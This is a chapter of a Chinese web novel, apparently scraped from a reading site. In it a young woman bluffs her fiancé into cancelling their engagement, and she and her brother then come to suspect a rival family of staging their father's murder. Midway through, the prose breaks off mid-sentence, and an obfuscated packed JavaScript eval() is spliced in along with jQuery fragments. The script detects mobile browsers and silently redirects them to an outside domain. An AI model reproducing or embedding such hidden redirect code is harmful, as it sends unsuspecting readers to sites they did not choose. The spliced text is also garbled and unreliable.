默认冷灰
24号文字
方正启体

5. 他不敢赌

作者:草莓西瓜本书字数:K更新时间:
    白亦宗脸上的含情脉脉一下子碎成了渣渣。他死死的盯着薛慧手里的那张纸,眼皮不停地颤动,声音也冰冷了起来:“我怎知你是不是在撒谎?”


    薛慧把那张纸塞回荷包里,一边系着荷包口处的绳结,一边踱到薛克礼和刘义的身后,等确定他们能挡住自己了才慢条斯理的说:“你可以不相信啊,说不定我手里的只是一张白纸,就是唬你的。”


    薛克礼冷笑了一声:“怎么,白亦宗,你莫不是想动手抢夺?今天有我们兄弟在,你绝不可能靠近我妹妹半步!我若没记错的话,你爹的孝期还有两个月才满吧?孝期狎妓,还有了子嗣,你可是读书进学的人,名节有瑕,着实是不成呢。”


    白亦宗的原话还热乎着呢,回旋镖就扎回了自己身上。薛慧十分欣慰,关键时刻不掉链子,这个哥哥能处!


    “胡说八道!我撕了你个小贱人的嘴!”白寡妇一听着事情严重,立刻就急了,冲过来就要撕打薛慧。


    白亦宗脸色铁青,方才那有几分做作的书生气荡然无存,却还保留着几分理智,连忙扯住了母亲的胳膊,低声喝道:“娘!你别添乱!”


    薛慧并没有欣赏他们这副嘴脸的恶趣味,瞧见陈里正一副尴尬又厌烦、恨不得赶紧完事儿的样子,她也不抻着,直截了当的说:“白秀才,这件事儿到底是不是真的,对你的前程影响有多大,不用我说,你心里也有数,但是于我而言,根本就没有任何意义。你我的婚约一退,我与此事就再无任何干系,我会烧掉这张纸,绝不会向他人提起,毕竟你一个有功名在身的人,日后还要为官做宰的,我也得罪不起。”


    “你能保证日后不会有任何流言蜚语吗?”白亦宗对薛慧再也生不起旖旎心思,而是有几分恶狠狠的质问。


    薛慧丝毫不惧:“我不能啊。你们行事,我瞧着也不算周密,说不得知情的人不少,比如那姑娘自己啊,和她的、呃、养娘侍女什么的,还有你书院的同窗,街头巷尾认得你的熟人,多了去了。若是他们中的谁传了出去,那可与我没有关系!我只能保证,从我们薛家这头不会传出去,毕竟退亲明面上的原因是我要守孝不能出嫁,实际上的缘由是我家败落了,配不上你,这样很合理不是吗?”


    和孝期狎妓生子相比,嫌贫爱富落井下石虽然不太好听,可是不触犯律法条规,而且还可以让老娘去担下这个恶名,对自己的影响确实能降低到最低,白亦宗一瞬间就算计好了得失,便道:“罢了,如你所说便是。不过……”


    看他真的伸手从白寡妇挎着的包袱里拿笔纸写退婚文书,薛慧放下了一半的心,痛快道:“放心,文书到手,我当着你的面烧掉这张纸便是。”


    白亦宗也顾不得挑剔条件,回到他们的牛车上,飞快的写下了解除婚约的文书,签字画押之后拿出了他手里的那一份婚书。


    薛慧回到床边,翻出自己的那份婚书,交给薛克礼。


    薛克礼认真看完文书,见白亦宗写的解除婚约的缘由是命格不合、有损祖荫,比自己跟钟家退亲时候的说辞还要婉转,便点了点头,签了名,还印上了他的名章,一边签一边讽刺了一句:“白秀才文采斐然,写这种东西倒是屈才了。”


    陈里正和媒婆也陆续签名、按了手印,交还给薛克礼。


    两份婚书被丢进了小泥炉,薛三娘和白亦宗的婚约正式解除了。


    薛慧把手里的银簪扔给白寡妇,然后走到小炉子旁边,从荷包里抽出那张纸,丢了进去。


    红色的火苗腾起,接着就把那张白纸完全吞噬了。


    白亦宗死死的盯着那张纸,直到整张纸彻底化成了灰,才神色复杂的问薛慧:“那张纸根本就不是我的诗,对不对?”


    薛慧朝天翻个白眼,走回薛克礼身后:“贵脚踏贱地,想必你们都挺不舒服的,不送了,事情办完,你们可以走了。”


    心想事成了,可白寡妇一点儿也不高兴,一手攥着那支银簪,一手扶着车辕就爬到了牛车上,招呼儿子快走:“快不要理会这破落户了,咱们回去!你好生读书,考上了状元,什么官家大小姐娶不得?”


    白亦宗还在等薛慧的回答。


    薛慧连一个眼神都懒得再给他,手搭在腰间,十分认真的给陈里正行了一礼:“多谢陈叔维护我的名声,给我做主。”


    陈里正摆摆手就要走:“别谢啦,我也不光是为你。咱们村里这么多闺女呢,还有出了门子的那些,让外头人编排了名节,那还得了?你也别多想,等你爹娘的孝满了,让你哥给你做主,再找个好人家就是,反正你年纪也还不算老大。往后有事儿你就叫你哥找我,或者你去找你婶子也行,今儿我就不多待了,还有事哩。”


    刘义连忙跟上:“叔,薛二哥这腿不方便,我送送您。”


    走到白亦宗身边的时候,他沉下脸来赶人:“你还不走?”


    薛慧早就转身躲到薛克礼身后去了。


    白亦宗不知道在想什么,对于刘义这个“粗人”的驱赶也没表现出不满,安静的转身上了牛车,母子俩和媒人的身影很快就走远了。


    窝棚里只剩下了薛慧兄妹两个。


    薛克礼坐下来,问薛慧:“你烧的,当真是那姓白的写的诗?”


    薛慧摇头:“当然不是了。我能撞破他的丑事已经是凑巧了,哪能那么巧,真让我捡到物证啊?我估计白亦宗也心里有数。”


    “他不敢赌。”薛克礼到底是做了好几年生意的人,很容易就明白了,“他不过是要你一个闭嘴的保证罢了。”


    薛慧笑笑,拿了个盆子去洗菘菜,一边洗一边说:“无所谓,我本来也懒得传这种口舌,换一个痛快的退亲,咱们不亏。”


    “三娘,你长大了。这些年我不大在家,竟是没留意,你早就不是小孩儿了。唉,我跟爹出了事,你跟娘不知道受了多少煎熬吧?”薛克礼感慨着,就想起了惨死的父亲和刚团聚就猝然离世的母亲,又红了眼眶。


    薛慧叹口气,没有劝他,而


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15521468|170737||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是给他时间难过:“哥,我长大了,不用你强撑着保护。你心里难过,想哭就哭,想骂人就骂人吧,别憋在心里。”


    薛克礼低下头,双手捂住了脸。


    薛慧走到外头,蹲在小炉子边切豆腐和菘菜,然后倒了些油来炒,故意弄出了些声响,让他不必因为环境的过于安静而压抑自己。


    刘义回来的时候,她的一盆菜也好了。


    薛克礼的鼻音很重,但是语气已经轻松了不少:“回来了?快吃饭吧,三娘不是说有话要跟咱们说嘛,赶紧吃了好说话。”


    刘义有点儿狐疑的看薛慧。


    薛慧轻轻摇头,让他先别问,不过心里却是感叹,也就是十分钟左右的时间,薛克礼居然这么快就能调整好情绪,果然古人早熟,心思都不简单。


    果然,吃饭的时候,薛克礼一改之前的状态,吃了两个大馒头和一大碗菜,看上去真的振作了起来。刘义很高兴:“二哥,你就得这样才好,多吃饭身子才能好起来。”


    “你们俩都比我小,倒叫你们担心,是我的不是,往后我一定会振作,放心吧。”薛克礼勉力笑了笑。


    收拾了碗筷,趁着天色还不黑,三个人便围着桌子说话。窝棚也有窝棚的好处,广阔的田地里只有他们三个,说什么话都不怕别人听到。


    薛慧便说起了心中的疑惑:“二哥,刘四哥,在出事之前,你们在外头可遇到过什么特别的事儿吗?比如有人踩点儿什么的?”


    刘义和薛克礼面面相觑,都摇头。刘义说:“咱们镇上没多少外来人,来来回回的都是熟脸儿,没有什么特别的啊。”


    “咱家是比乡下的农户们富裕些,可也有限,不说县里的大户,便是镇上的几家乡老,还有那几个大铺子的东家,都比咱家富裕吧?山匪想抢银子,怎么就瞄上了咱家呢?”薛慧沉思着说,“偏偏二哥去钟家下聘之后就出了事儿。”


    “对了,咱家镇上米铺的买家也是钟家,我今天去镇上看见了。”刘义忽然说道。


    他一边说,脸色也不好看起来:“明明他直接来买宅子铺子,那种情况下,薛婶子也不可能不卖给他,他为啥藏头露尾的呢?”


    薛慧不敢乱说话,只道:“如今咱们没凭没据的,也不能下定论,反正钟家颇有可疑,咱们往后要提防着些。”


    薛克礼眯起了眼睛:“其实我也疑心过。那天我们在钟家吃的酒特别醇,格外醉人,所以我跟爹,还有跟着一起去的两个长工,在回去的路上都觉得手软脚软的,一点儿力气也使不上。山匪来的时候,几下子就把两个长工放倒了,扔在路边也不怕他们回去找人。而且这事儿到今日来看,除了山匪们拿了银子,得到好处的只有钟家。”


    刘义忽然咳嗽了一声。


    “你有话就说,怎么的了?”薛克礼扭头看他,“素来你也不是这样的性子。”


    刘义咬咬牙,说:“我今日听两个闲汉说,钟家小姐可能要许给唐县丞家的三少爷了。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)